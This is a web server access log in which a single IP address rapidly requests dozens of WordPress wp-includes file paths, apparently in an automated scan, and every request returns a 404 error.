45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-token-map.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/registration-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/sitemaps/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-theme-json.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/bookmark-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-smtp.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-type.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/post-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-panel.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/l10n.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/wp-db.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme-previews.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/?SA= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/fonts/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-rewrite.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/post-thumbnail-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-category.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-classic-to-block-menu-converter.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-tax-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/rest-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-default-constants.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-json.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-oembed-controller.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-user-request.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-section.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-rss.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-cookie.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-i18n.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-image-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-simplepie-file.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/formatting.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/plugin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/PHPMailer/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-image-editor-gd.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-post-type.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/media.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/rss.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-IXR.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-streams.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/functions.wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/locale.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-role.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-walker.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/date.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/embed-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/embed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/nav-menu-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-phpass.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-phpmailer.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/l10n/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-nav-menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-manager.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/meta.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/widgets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-network-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/comment-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/cache-compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/Requests/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-atom-comments.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-xmlrpc-server.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/global-styles-and-settings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/spl-autoload-compat.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-type-registry.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/functions.wp-styles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-admin-bar.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/capabilities.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-embed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/general-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-blogs.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-template-utils.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-object-cache.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
